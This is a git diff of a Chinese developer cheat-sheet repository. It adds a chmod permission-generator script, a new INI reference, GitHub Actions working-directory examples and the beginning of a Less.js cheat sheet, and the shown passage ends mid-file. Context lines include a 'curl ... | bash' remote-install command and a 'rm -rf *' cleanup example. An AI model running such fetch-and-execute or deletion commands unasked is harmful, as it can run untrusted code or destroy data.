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7
.github/workflows/ci.yml
vendored
7
.github/workflows/ci.yml
vendored
@ -16,6 +16,13 @@ jobs:
|
||||
- run: npm install
|
||||
- run: npm run build
|
||||
|
||||
- name: Generate Contributors Images
|
||||
uses: jaywcjlove/github-action-contributors@main
|
||||
with:
|
||||
filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\])
|
||||
output: dist/CONTRIBUTORS.svg
|
||||
avatarSize: 42
|
||||
|
||||
- name: Create Tag
|
||||
id: create_tag
|
||||
uses: jaywcjlove/create-tag-action@main
|
||||
|
||||
18
README.md
18
README.md
@ -21,9 +21,11 @@ Quick Reference
|
||||
[Docker](./docs/docker.md)<!--rehype:style=background: rgb(72 143 223/var(\-\-bg\-opacity));-->
|
||||
[Dockerfile](./docs/dockerfile.md)<!--rehype:style=background: rgb(0 72 153/var(\-\-bg\-opacity));-->
|
||||
[Golang](./docs/golang.md)<!--rehype:style=background: rgb(39 160 193/var(\-\-bg\-opacity));-->
|
||||
[INI](./docs/ini.md)<!--rehype:style=background: rgb(57 59 60/var(\-\-bg\-opacity));-->
|
||||
[JSON](./docs/json.md)<!--rehype:style=background: rgb(57 59 60/var(\-\-bg\-opacity));-->
|
||||
[Markdown](./docs/markdown.md)<!--rehype:style=background: rgb(103 61 156/var(\-\-bg\-opacity));-->
|
||||
[Swift](./docs/swift.md)<!--rehype:style=background: rgb(240 81 57/var(\-\-bg\-opacity));-->
|
||||
[SwiftUI](./docs/swiftui.md)<!--rehype:style=background: rgb(10 127 247/var(\-\-bg\-opacity));-->
|
||||
[TOML](./docs/toml.md)<!--rehype:style=background: rgb(132 132 132/var(\-\-bg\-opacity));-->
|
||||
[YAML](./docs/yaml.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
|
||||
<!--rehype:class=home-card-->
|
||||
@ -34,10 +36,13 @@ Quick Reference
|
||||
[Electron](./docs/electron.md)<!--rehype:style=background: rgb(0 72 153/var(\-\-bg\-opacity));-->
|
||||
[Emmet](./docs/emmet.md)<!--rehype:style=background: rgb(122 203 23/var(\-\-bg\-opacity));-->
|
||||
[Styled Components](./docs/styled-components.md)<!--rehype:style=background: rgb(221 60 184/var(\-\-bg\-opacity));-->
|
||||
[Stylus](./docs/stylus.md)<!--rehype:style=background: rgb(109 161 63/var(\-\-bg\-opacity));-->
|
||||
[Sass](./docs/sass.md)<!--rehype:style=background: rgb(207 100 154/var(\-\-bg\-opacity));-->
|
||||
[HTML](./docs/html.md)<!--rehype:style=background: rgb(228 77 39/var(\-\-bg\-opacity));-->
|
||||
[JavaScript](./docs/javascript.md)<!--rehype:style=background: rgb(203 183 31/var(\-\-bg\-opacity));-->
|
||||
[Jest](./docs/jest.md)<!--rehype:style=background: rgb(153 66 91/var(\-\-bg\-opacity));-->
|
||||
[Lerna](./docs/lerna.md)<!--rehype:style=background: rgb(192 132 252/var(\-\-bg\-opacity));-->
|
||||
[Less.js](./docs/lessjs.md)<!--rehype:style=background: rgb(29 54 93/var(\-\-bg\-opacity));-->
|
||||
[npm](./docs/npm.md)<!--rehype:style=background: rgb(203 2 0/var(\-\-bg\-opacity));-->
|
||||
[package.json](./docs/package.json.md)<!--rehype:style=background: rgb(132 132 132/var(\-\-bg\-opacity));-->
|
||||
[React](./docs/react.md)<!--rehype:style=background: rgb(34 143 173/var(\-\-bg\-opacity));-->
|
||||
@ -74,6 +79,8 @@ Quick Reference
|
||||
[find](./docs/find.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[htop](./docs/htop.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Home Brew](./docs/homebrew.md)<!--rehype:style=background: rgb(252 185 87/var(\-\-bg\-opacity));-->
|
||||
[Netstat](./docs/netstat.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Netcat](./docs/netcat.md)<!--rehype:style=background: rgb(4 92 135/var(\-\-bg\-opacity));-->
|
||||
[Sed](./docs/sed.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[SSH](./docs/ssh.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
|
||||
[Screen](./docs/screen.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
|
||||
@ -87,6 +94,7 @@ Quick Reference
|
||||
[HTTP 状态码](./docs/http-status-code.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[HTML 字符实体](./docs/html-char.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Emoji](./docs/emoji.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Resolutions](./docs/resolutions.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
<!--rehype:class=home-card-->
|
||||
|
||||
## 看到缺少什么了吗？
|
||||
@ -99,6 +107,16 @@ Quick Reference
|
||||
<!--rehype:style=margin-top:3rem-->
|
||||
|
||||
<!--rehype:ignore:start-->
|
||||
## 贡献
|
||||
|
||||
请参阅[贡献指南](./CONTRIBUTING.md)了解如何开始。一如既往，感谢我们出色的贡献者！
|
||||
|
||||
<a href="https://github.com/jaywcjlove/reference/graphs/contributors">
|
||||
<img src="https://jaywcjlove.github.io/reference/CONTRIBUTORS.svg" />
|
||||
</a>
|
||||
|
||||
上图贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成贡献者图片。
|
||||
|
||||
## License
|
||||
|
||||
MIT © [Kenny Wong](https://github.com/jaywcjlove)
|
||||
|
||||
244
docs/chmod.md
244
docs/chmod.md
@ -31,10 +31,21 @@ $ chmod -R 755 my_directory
|
||||
|
||||
### Chmod 生成器
|
||||
|
||||
```html
|
||||
|
||||
```html preview
|
||||
<div>
|
||||
权限：<input type="text" id="num" placeholder="777" maxlength="3" style="padding: 0.3rem 0.3rem;" /> <input type="text" id="let" placeholder="rwxrwxrwx" maxlength="9" style="padding: 0.3rem 0.3rem;" />
|
||||
</div>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
| User | Group | Other
|
||||
:- | :- | :- | :-
|
||||
读 _(Read)_ | <input checked id="1" type="checkbox"></input> | <input checked id="4" type="checkbox"></input> | <input checked id="7" type="checkbox"></input>
|
||||
写 _(Write)_ | <input checked id="2" type="checkbox"></input> | <input checked id="5" type="checkbox"></input> | <input checked id="8" type="checkbox"></input>
|
||||
执行 _(Execute)_ | <input checked id="3" type="checkbox"></input> | <input checked id="6" type="checkbox"></input> | <input checked id="9" type="checkbox"></input>
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
Chmod 生成器允许您以数字和符号的形式快速、直观地生成权限。
|
||||
|
||||
### 通用权限
|
||||
@ -264,3 +275,232 @@ $ find /path -type f -exec chmod 644 {} \;
|
||||
----
|
||||
|
||||
* [使用 chmod 修改文件权限](https://www.linode.com/docs/guides/modify-file-permissions-with-chmod/) _(linode.com)_
|
||||
|
||||
<!--rehype:ignore:start-->
|
||||
### 以下是 Chmod 生成器 JS 代码（代码用于网站请忽略不要删除）
|
||||
<!--rehype:ignore:end-->
|
||||
|
||||
```html preview
|
||||
<!-- Chmod 生成器 JS 代码 -->
|
||||
<script type="text/javascript">
|
||||
const reg_num = /^[0-7]{3}$/; // 一些正则表达式来检查 num 输入
|
||||
const reg_let = /^([r\-]{1}[w\-]{1}[x\-]{1}){3}$/; // 一些正则表达式来检查文本输入
|
||||
function checkBoxHandle() {
|
||||
change_occured(true, false, false);
|
||||
// get rid of bad input classes
|
||||
document.getElementById('num').classList.remove('bad-input');
|
||||
document.getElementById('let').classList.remove('bad-input');
|
||||
}
|
||||
window.addEventListener("DOMContentLoaded", function () {
|
||||
// loop over all the check boxes
|
||||
for (let i = 1; i < 10; i++) {
|
||||
let checkBox = document.getElementById(`${i}`);
|
||||
checkBox.addEventListener('change', function () {
|
||||
change_occured(true, false, false);
|
||||
|
||||
// get rid of bad input classes
|
||||
document.getElementById('num').classList.remove('bad-input');
|
||||
|
||||
document.getElementById('let').classList.remove('bad-input');
|
||||
});
|
||||
}
|
||||
// the octal input
|
||||
let num_input = document.getElementById('num');
|
||||
let num_fn = function () {
|
||||
// check for bad input
|
||||
if (!reg_num.test(this.value)) {
|
||||
this.classList.add('bad-input');
|
||||
} else {
|
||||
this.classList.remove('bad-input');
|
||||
change_occured(false, true, false);
|
||||
}
|
||||
};
|
||||
num_input.addEventListener('change', num_fn);
|
||||
num_input.addEventListener('keyup', num_fn);
|
||||
// the let input
|
||||
let let_input = document.getElementById('let');
|
||||
let let_fn = function () {
|
||||
// check for bad input
|
||||
if (!reg_let.test(this.value)) {
|
||||
this.classList.add('bad-input');
|
||||
} else {
|
||||
this.classList.remove('bad-input');
|
||||
change_occured(false, false, true);
|
||||
}
|
||||
};
|
||||
let_input.addEventListener('change',let_fn);
|
||||
let_input.addEventListener('keyup',let_fn);
|
||||
});
|
||||
/* SETUP
|
||||
r-4-1 r-4-4 r-4-7
|
||||
w-2-2 w-2-5 w-2-8
|
||||
x-1-3 x-1-6 x-1-9
|
||||
*/
|
||||
// define a function that runs when a change occures
|
||||
function change_occured(caller_was_check, caller_was_num, caller_was_let) {
|
||||
let num1 = 0, num2 = 0, num3 = 0; // these are the three numbers for the octal
|
||||
let perm_string = ''; // holds the permision string ex. rw-x--r--
|
||||
if (caller_was_check) {
|
||||
// loop over all the check boxes and get the permisions
|
||||
for (let i = 1; i < 10; i++) {
|
||||
let checkBox = document.getElementById(`${i}`);
|
||||
if (checkBox.checked) { // if checked
|
||||
let current_perm = check_to_octal_and_text(i);
|
||||
perm_string += `${current_perm.perm_let}`;
|
||||
if (i <= 3) {
|
||||
num1 += current_perm.perm_num;
|
||||
} else if (i <= 6) {
|
||||
num2 += current_perm.perm_num;
|
||||
} else {
|
||||
num3 += current_perm.perm_num;
|
||||
}
|
||||
} else { // if not checked
|
||||
perm_string += '-';
|
||||
}
|
||||
}
|
||||
// set the permision input text
|
||||
document.getElementById('let').value = perm_string;
|
||||
document.getElementById('num').value = `${num1}${num2}${num3}`;
|
||||
} else if (caller_was_num) {
|
||||
// get the individual numbers
|
||||
let num_input_val = document.getElementById('num').value;
|
||||
num1 = num_input_val.substring(0, 1);
|
||||
num2 = num_input_val.substring(1, 2);
|
||||
num3 = num_input_val.substring(2, 3);
|
||||
// set the checkboxes and get the perm string
|
||||
perm_string += octal_to_check_and_txt(num1, 0); //Owner
|
||||
perm_string += octal_to_check_and_txt(num2, 1); //Owner
|
||||
perm_string += octal_to_check_and_txt(num3, 2); //Owner
|
||||
// set the permision input text
|
||||
document.getElementById('let').value = perm_string;
|
||||
} else if (caller_was_let) {
|
||||
// get the text input
|
||||
let perm_text = document.getElementById('let').value;
|
||||
num1 = text_to_check_and_octal(perm_text.substring(0, 3), 0)
|
||||
num2 = text_to_check_and_octal(perm_text.substring(3, 6), 3)
|
||||
num3 = text_to_check_and_octal(perm_text.substring(6, 9), 6)
|
||||
// set the octal value
|
||||
document.getElementById('num').value = `${num1}${num2}${num3}`;
|
||||
}
|
||||
}
|
||||
// define a function to converts the checkbox # to the respective permissions
|
||||
// returns perm_num, perm_let
|
||||
function check_to_octal_and_text(check_num) {
|
||||
let perm_num = 0;
|
||||
let perm_let = '-';
|
||||
switch (check_num) {
|
||||
case 1:
|
||||
case 4:
|
||||
case 7:
|
||||
perm_num = 4;
|
||||
perm_let = 'r';
|
||||
break;
|
||||
case 2:
|
||||
case 5:
|
||||
case 8:
|
||||
perm_num = 2;
|
||||
perm_let = 'w';
|
||||
break;
|
||||
case 3:
|
||||
case 6:
|
||||
case 9:
|
||||
perm_num = 1;
|
||||
perm_let = 'x';
|
||||
break;
|
||||
default:
|
||||
perm_num = 0;
|
||||
perm_let = '-';
|
||||
}
|
||||
// return values
|
||||
return {
|
||||
perm_num,
|
||||
perm_let
|
||||
};
|
||||
}
|
||||
/**
|
||||
Takes a number 1-7 and which class it is in:
|
||||
0 = owner
|
||||
1 = Group
|
||||
2 = Public
|
||||
Returns: perm text (ex. "rwx") and sets the appropriate checkboxes
|
||||
*/
|
||||
function octal_to_check_and_txt(octal_num, class_num) {
|
||||
let perm_text = '';
|
||||
let offset = class_num * 3;
|
||||
switch (octal_num) {
|
||||
case '1':
|
||||
document.getElementById(`${1 + offset}`).checked = false;
|
||||
document.getElementById(`${2 + offset}`).checked = false;
|
||||
document.getElementById(`${3 + offset}`).checked = true;
|
||||
perm_text = '--x';
|
||||
break;
|
||||
case '2':
|
||||
document.getElementById(`${1 + offset}`).checked = false;
|
||||
document.getElementById(`${2 + offset}`).checked = true;
|
||||
document.getElementById(`${3 + offset}`).checked = false;
|
||||
perm_text = '-w-';
|
||||
break;
|
||||
case '3':
|
||||
document.getElementById(`${1 + offset}`).checked = false;
|
||||
document.getElementById(`${2 + offset}`).checked = true;
|
||||
document.getElementById(`${3 + offset}`).checked = true;
|
||||
perm_text = '-wx';
|
||||
break;
|
||||
case '4':
|
||||
document.getElementById(`${1 + offset}`).checked = true;
|
||||
document.getElementById(`${2 + offset}`).checked = false;
|
||||
document.getElementById(`${3 + offset}`).checked = false;
|
||||
perm_text = 'r--';
|
||||
break;
|
||||
case '5':
|
||||
document.getElementById(`${1 + offset}`).checked = true;
|
||||
document.getElementById(`${2 + offset}`).checked = false;
|
||||
document.getElementById(`${3 + offset}`).checked = true;
|
||||
perm_text = 'r-x';
|
||||
break;
|
||||
case '6':
|
||||
document.getElementById(`${1 + offset}`).checked = true;
|
||||
document.getElementById(`${2 + offset}`).checked = true;
|
||||
document.getElementById(`${3 + offset}`).checked = false;
|
||||
perm_text = 'rw-';
|
||||
break;
|
||||
case '7':
|
||||
document.getElementById(`${1 + offset}`).checked = true;
|
||||
document.getElementById(`${2 + offset}`).checked = true;
|
||||
document.getElementById(`${3 + offset}`).checked = true;
|
||||
perm_text = 'rwx';
|
||||
break;
|
||||
default:
|
||||
document.getElementById(`${1 + offset}`).checked = false;
|
||||
document.getElementById(`${2 + offset}`).checked = false;
|
||||
document.getElementById(`${3 + offset}`).checked = false;
|
||||
perm_text = '---';
|
||||
}
|
||||
return perm_text;
|
||||
}
|
||||
/**
|
||||
Takes 3 letters (r, w, x, - ex. 'rw-') and an offset (0,3,6)
|
||||
Returns the octal num and sets the appropriate checkboxes
|
||||
*/
|
||||
function text_to_check_and_octal(letters, offset) {
|
||||
let perm_num = 0; // the octal number to return
|
||||
// add up the oct num and set the check boxes
|
||||
for (let i = 0; i < 3; i++) {
|
||||
current_let = letters.substring(i, i + 1);
|
||||
if (current_let == 'r') {
|
||||
document.getElementById(`${i + 1 + offset}`).checked = true;
|
||||
perm_num += 4;
|
||||
} else if (current_let == 'w') {
|
||||
document.getElementById(`${i + 1 + offset}`).checked = true;
|
||||
perm_num += 2;
|
||||
} else if (current_let == 'x') {
|
||||
document.getElementById(`${i + 1 + offset}`).checked = true;
|
||||
perm_num += 1;
|
||||
} else {
|
||||
document.getElementById(`${i + 1 + offset}`).checked = false;
|
||||
}
|
||||
}
|
||||
return perm_num;
|
||||
}
|
||||
</script>
|
||||
```
|
||||
@ -95,7 +95,7 @@ Min Hour Day Mon Weekday
|
||||
`L` | 仅允许用于 `月份中的某天` 或 `星期几` 字段，`星期几` 中的 `2L` 表示每个月的最后一个星期二
|
||||
`井号 (#)` | 仅允许用于 `星期几` 字段，后面必须在 1 到 5 的范围内。例如，`4#1` 表示给定月份的“第一个星期四”。
|
||||
`问号(?)` | 可以代替“*”并允许用于月份和星期几。使用仅限于 cron 表达式中的 `月份中的某天` 或 `星期几`。
|
||||
<!--rehype:className=show-header -->
|
||||
<!--rehype:className=show-header auto-wrap-->
|
||||
|
||||
|
||||
## Also see
|
||||
|
||||
@ -110,7 +110,7 @@ apk add --update curl # alpine linux 中安装
|
||||
`curl --connect-timeout 10 -I -k https://www.baidu.com` | `curl` 默认没有超时
|
||||
`curl --verbose --header "Host: www.mytest.com:8182" www.baidu.com` | `curl` 得到额外的标题
|
||||
`curl -k -v https://www.google.com` | `curl` 获取带有标题的响应
|
||||
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 多文件上传
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
@ -136,6 +136,7 @@ $ curl -XGET http://${elasticsearch_ip}:9200/_cluster/nodes | python -m json.too
|
||||
:- | :-
|
||||
`curl -d "name=username&password=123456" <URL>` | `curl` 发请求
|
||||
`curl <URL> -H "content-type: application/json" -d "{ \"woof\": \"bark\"}"` | `curl` 发送 json
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### CURL 脚本安装 rvm
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
@ -156,6 +157,7 @@ curl -sSL https://get.rvm.io | bash
|
||||
`curl -T cryptopp552.zip -u test:test ftp://10.32.99.187/` | curl `ftp` 上传
|
||||
`curl -u test:test ftp://10.32.99.187/cryptopp552.zip -o cryptopp552.zip` | curl `ftp` 下载
|
||||
`curl -v -u admin:admin123 --upload-file package1.zip http://mysever:8081/dir/package1.zip` | 使用凭证 `curl` 上传
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 检查网站响应时间
|
||||
<!--rehype:wrap-class=col-span-4-->
|
||||
|
||||
@ -110,6 +110,7 @@ RUN true | false # 将脱离管道
|
||||
`CMD ["executable","param1","param2"]` | (exec 形式，这是首选形式)
|
||||
`CMD ["param1","param2"]` | (作为 ENTRYPOINT 的默认参数)
|
||||
`CMD command param1 param2` | (shell形式)
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
```dockerfile
|
||||
EXPOSE 5900
|
||||
@ -185,6 +186,7 @@ temp?
|
||||
`*/temp*` | 在根的任何直接子目录中<br />排除名称以 `temp` 开头的文件和目录
|
||||
`*/*/temp*` | 从根以下两级的任何子目录中<br />排除以 `temp` 开头的文件和目录
|
||||
`temp?` | 排除根目录中名称为<br /> `temp` 的单字符扩展名的文件和目录
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
如果此文件存在，排除与其中的模式匹配的文件和目录，有利于避免 `ADD` 或 `COPY` 将敏感文件添加到镜像中。匹配是使用 Go 的 [filepath.Match](https://golang.org/pkg/path/filepath#Match) 规则完成的。
|
||||
|
||||
@ -203,6 +205,7 @@ temp?
|
||||
`CMD command param1 param2` | 设置默认命令
|
||||
`ENV <key>=<value> ...` | 设置环境变量
|
||||
`EXPOSE <port> [<port>/<protocol>...]` | 运行时侦听指定的网络端口
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 服务静态网站的最小 Docker 镜像
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
@ -1,7 +1,7 @@
|
||||
Git 备忘清单
|
||||
===
|
||||
|
||||
本备忘单总结了常用的 Git 命令行指令，以供快速参考。
|
||||
本备忘单总结了常用的 [Git](https://git-scm.com/) 命令行指令，以供快速参考。
|
||||
|
||||
入门
|
||||
----
|
||||
|
||||
@ -767,6 +767,54 @@ jobs:
|
||||
name: output-log-file
|
||||
```
|
||||
|
||||
### 指定运行命令的工作目录
|
||||
|
||||
```yml {3}
|
||||
- name: Clean temp directory
|
||||
run: rm -rf *
|
||||
working-directory: ./temp
|
||||
```
|
||||
|
||||
使用 `working-directory` 关键字，您可以指定运行命令的工作目录(`./temp`)
|
||||
|
||||
#### defaults.run
|
||||
|
||||
```yml {4,5,7}
|
||||
jobs:
|
||||
job1:
|
||||
runs-on: ubuntu-latest
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
working-directory: scripts
|
||||
```
|
||||
|
||||
作业中的所有 `run` 步骤提供默认的 `shell` 和 `working-directory`
|
||||
|
||||
### jobs.<job_id>.steps[*].shell
|
||||
|
||||
使用 `bash` 运行脚本
|
||||
|
||||
```yml {4}
|
||||
steps:
|
||||
- name: Display the path
|
||||
run: echo $PATH
|
||||
shell: bash
|
||||
```
|
||||
|
||||
运行 `python` 脚本
|
||||
|
||||
```yml {6}
|
||||
steps:
|
||||
- name: Display the path
|
||||
run: |
|
||||
import os
|
||||
print(os.environ['PATH'])
|
||||
shell: python
|
||||
```
|
||||
|
||||
您可以使用 `shell` 关键字覆盖运行器操作系统中的默认 `shell` 设置
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
|
||||
185
docs/ini.md
Normal file
185
docs/ini.md
Normal file
@ -0,0 +1,185 @@
|
||||
INI 备忘清单
|
||||
====
|
||||
|
||||
这是理解和编写 INI 格式配置文件的快速参考备忘单，此清单包含配置的内容，结构和语法等内容。
|
||||
|
||||
入门
|
||||
------
|
||||
|
||||
### 介绍
|
||||
|
||||
INI 是一种固定标准格式的配置文件，INI配置方法来自 MS-DOS 操作系统
|
||||
|
||||
```ini
|
||||
; 这里是注释
|
||||
[owner]
|
||||
name=John Doe
|
||||
organization=Acme Products
|
||||
|
||||
[database]
|
||||
; 这里是注释
|
||||
server=192.0.2.42
|
||||
port=143
|
||||
file="acme payroll.dat"
|
||||
```
|
||||
|
||||
现在已成为许多配置的非正式标准，其它操作系统可能使用 `.conf` 或 `.cfg` 作为后缀
|
||||
|
||||
### 稳定的特性
|
||||
|
||||
- 基本元素是键或属性
|
||||
- 每个键由`名称`和`值`构成，等号 (=) 分隔
|
||||
- `键名称`显示在等号的`左侧`
|
||||
- `等号`和`分号`是`保留`字符
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
```ini
|
||||
name = value
|
||||
```
|
||||
|
||||
与下面👇 JSON 大致相同
|
||||
|
||||
```js
|
||||
{
|
||||
"name": "value"
|
||||
}
|
||||
```
|
||||
|
||||
### 注释
|
||||
|
||||
注释 (`;`)
|
||||
|
||||
```ini
|
||||
; 这里是注释文本，将被忽略
|
||||
```
|
||||
|
||||
注释 (`#`)
|
||||
|
||||
```ini
|
||||
# 这里是注释文本，⚠️ 部分编译器支持
|
||||
```
|
||||
|
||||
一行之后的注释 (`;`,`#`) _(不标准)_
|
||||
|
||||
```ini
|
||||
var = a ; 这是一个内联注释
|
||||
foo = bar # 这是另一个内联注释
|
||||
```
|
||||
|
||||
在某些情况下注释必须单独出现在行上
|
||||
|
||||
### 部分(Sections)
|
||||
|
||||
- 名称单独出现在一行中
|
||||
- 名称在方括号 `[` 和 `]` 中
|
||||
- 没有明确的 `section 结束` 分隔符
|
||||
- 在下一个 `section` 声明处或文件末尾处结束
|
||||
- 部分和属性名称不区分大小写
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
```ini
|
||||
[section]
|
||||
key1 = a
|
||||
key2 = b
|
||||
```
|
||||
|
||||
与下面👇 `JSON` 大致相同
|
||||
|
||||
```json
|
||||
{
|
||||
"section": {
|
||||
"key1": "a",
|
||||
"key2": "b"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 嵌套(部分解析器支持)
|
||||
|
||||
```ini
|
||||
[section]
|
||||
domain = jaywcjlove.github.io
|
||||
|
||||
[section.subsection]
|
||||
foo = bar
|
||||
```
|
||||
|
||||
与下面👇 `JSON` 大致相同
|
||||
|
||||
```js
|
||||
{
|
||||
"section": {
|
||||
"domain": "jaywcjlove.github.io"
|
||||
"subsection": {
|
||||
"foo": "bar"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
嵌套到上一节(简写)
|
||||
|
||||
```ini
|
||||
[section]
|
||||
domain = jaywcjlove.github.io
|
||||
[.subsection]
|
||||
foo = bar
|
||||
```
|
||||
|
||||
### 转义字符
|
||||
|
||||
序列 | 意思
|
||||
:- | :-
|
||||
`\\` | \ (单个反斜杠，转义转义字符)
|
||||
`\'` | 撇号
|
||||
`\"` | 双引号
|
||||
`\0` | 空字符
|
||||
`\a` | 铃声/警报/声音
|
||||
`\b` | 退格键，某些应用程序的[贝尔字符](https://en.wikipedia.org/wiki/Bell_character)
|
||||
`\t` | 制表符
|
||||
`\r` | 回车
|
||||
`\n` | 换行
|
||||
`\;` | 分号
|
||||
`\#` | 数字符号
|
||||
`\=` | 等号
|
||||
`\:` | 冒号
|
||||
`\x????` | 十六进制代码点的 Unicode 字符对应于 ????
|
||||
|
||||
### 数组
|
||||
|
||||
```ini
|
||||
[section]
|
||||
domain = jaywcjlove.github.io
|
||||
array[]=first value
|
||||
array[]=second value
|
||||
```
|
||||
|
||||
与下面👇 `JSON` 大致相同
|
||||
|
||||
```js
|
||||
{
|
||||
"section": {
|
||||
"domain": "jaywcjlove.github.io",
|
||||
"array": [
|
||||
"first value", "second value"
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 解释器
|
||||
|
||||
- [@go-ini/ini](https://github.com/go-ini/ini) _(golang)_
|
||||
- [@npm/ini](https://www.npmjs.com/package/ini) _(nodejs)_
|
||||
- [@zonyitoo/rust-ini](https://github.com/zonyitoo/rust-inii) _(rust)_
|
||||
- [@rxi/ini](https://www.npmjs.com/package/ini) _(c)_
|
||||
- [@pulzed/mINI](https://github.com/pulzed/mINI) _(c++)_
|
||||
- [@rickyah/ini-parser](https://github.com/rickyah/ini-parser) _(c#)_
|
||||
- [@Enichan/Ini](https://github.com/Enichan/Ini) _(c#)_
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [INI 文件配置](https://en.wikipedia.org/wiki/INI_file) _(wikipedia.org)_
|
||||
- [YAML 格式配置文件备忘清单](./yaml.md) _(jaywcjlove.github.io)_
|
||||
- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_
|
||||
719
docs/lessjs.md
Normal file
719
docs/lessjs.md
Normal file
@ -0,0 +1,719 @@
|
||||
Less 备忘清单
|
||||
===
|
||||
|
||||
本备忘单旨在快速理解 [Less](https://github.com/less/less.js) 所涉及的主要概念，显示了它的常用方法使用清单。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 介绍
|
||||
|
||||
Less(Leaner Style Sheets 的缩写)是一门向后兼容的 [`CSS`](./css.md) 扩展语言
|
||||
|
||||
- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
|
||||
- [在线编译预览](http://lesscss.org/less-preview/#eyJjb2RlIjoiI2xpYigpIHtcbiAgICAuY29sb3JzKCkge1xuICAgICAgQHByaW1hcnk6IGJsdWU7XG4gICAgICBAc2Vjb25kYXJ5OiBncmVlbjtcbiAgICB9XG4gICAgLnJ1bGVzKEBzaXplKSB7XG4gICAgICBib3JkZXI6IEBzaXplIHNvbGlkIHdoaXRlO1xuICAgIH1cbiAgfVxuICBcbiAgLmJveCB3aGVuICgjbGliLmNvbG9yc1tAcHJpbWFyeV0gPSBibHVlKSB7XG4gICAgd2lkdGg6IDEwMHB4O1xuICAgIGhlaWdodDogKCR3aWR0aCAvIDIpO1xuICB9XG4gIFxuICAuYmFyOmV4dGVuZCguYm94KSB7XG4gICAgQG1lZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7XG4gICAgICB3aWR0aDogMjAwcHg7XG4gICAgICAjbGliLnJ1bGVzKDFweCk7XG4gICAgfVxuICB9IiwiYWN0aXZlVmVyc2lvbiI6IjQueCJ9) _(lesscss.org)_
|
||||
|
||||
在 Node.js 环境中使用 `Less`
|
||||
|
||||
```bash
|
||||
$ npm install -g less
|
||||
$ lessc styles.less styles.css
|
||||
```
|
||||
|
||||
在浏览器环境中使用 `Less`
|
||||
|
||||
```html
|
||||
<link rel="stylesheet/less" type="text/css" href="styles.less" />
|
||||
<script src="https://cdn.jsdelivr.net/npm/less@4" ></script>
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 变量(Variables)
|
||||
|
||||
```less
|
||||
@width: 10px;
|
||||
@height: @width + 10px;
|
||||
|
||||
#header {
|
||||
width: @width;
|
||||
height: @height;
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
#header {
|
||||
width: 10px;
|
||||
height: 20px;
|
||||
}
|
||||
```
|
||||
|
||||
另见: [变量的更多信息](https://lesscss.org/features/#variables-feature)
|
||||
|
||||
### 混合(Mixins)
|
||||
|
||||
```less {1,8,13}
|
||||
.bordered {
|
||||
border-top: dotted 1px black;
|
||||
border-bottom: solid 2px black;
|
||||
}
|
||||
|
||||
#menu a {
|
||||
color: #111;
|
||||
.bordered();
|
||||
}
|
||||
|
||||
.post a {
|
||||
color: red;
|
||||
.bordered();
|
||||
}
|
||||
```
|
||||
|
||||
另见: [混合(Mixin)的更多信息](https://lesscss.org/features/#mixins-feature)
|
||||
|
||||
|
||||
### 嵌套(Nesting)
|
||||
|
||||
```css
|
||||
#header {
|
||||
color: black;
|
||||
}
|
||||
#header .navigation {
|
||||
font-size: 12px;
|
||||
}
|
||||
#header .logo {
|
||||
width: 300px;
|
||||
}
|
||||
```
|
||||
|
||||
👇👇 更改为 less 的写法 ✅ 👇👇
|
||||
|
||||
```less
|
||||
#header {
|
||||
color: black;
|
||||
.navigation {
|
||||
font-size: 12px;
|
||||
}
|
||||
.logo {
|
||||
width: 300px;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 父选择器 &
|
||||
|
||||
```less
|
||||
.button {
|
||||
color: blue;
|
||||
&-ok {
|
||||
background-image: url("ok.png");
|
||||
}
|
||||
&:hover {
|
||||
color: green;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
.button {
|
||||
color: blue;
|
||||
}
|
||||
.button-ok {
|
||||
background-image: url("ok.png");
|
||||
}
|
||||
.button:hover {
|
||||
color: green;
|
||||
}
|
||||
```
|
||||
|
||||
### @规则嵌套和冒泡
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```less
|
||||
.component {
|
||||
width: 300px;
|
||||
